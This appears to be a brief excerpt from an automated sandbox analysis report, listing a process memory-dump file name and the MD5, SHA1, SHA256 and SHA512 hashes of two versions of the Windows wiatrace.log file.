memory/4216-10-0x00007FF60E790000-0x00007FF60E930000-memory.dmp

C:\Windows\Debug\WIA\wiatrace.log

MD5 89d82b2783258611967f53427420659c
SHA1 fdf96ff76d4f3e5addfa3fe37cbab0c707812514
SHA256 30b22d6a32bd7088fe35165d3c0615e5833ec418a38d24925f17df7b4c000b94
SHA512 13cdfad4912f89dfcb51dfbcb67ca26d8fe6dbfbb4abd80a9059ac5cf6838614ce9dd2a8e1b9544a5557c79d9bd0a6e9bcd92c06e29a2ef60c8924fcd6fed51a

C:\Windows\debug\WIA\wiatrace.log

MD5 2e7915f9e3fe4ac2ca44ca5aaf7636b2
SHA1 9ffb763554f9a3838bf7a45272ca5af8065b8747
SHA256 abe842c0b98e91573fd0bb6a62e4e772c46c56a1977dd304e024817a95cc156a
SHA512 393fc4d4d628b1b78b5b48ede55a0df38ffcc1d398618843855e3654ae2cabadab93de06d7f3300be96a4c4da20e624995c08c5cabfedc94d9efbfbe4ffaac56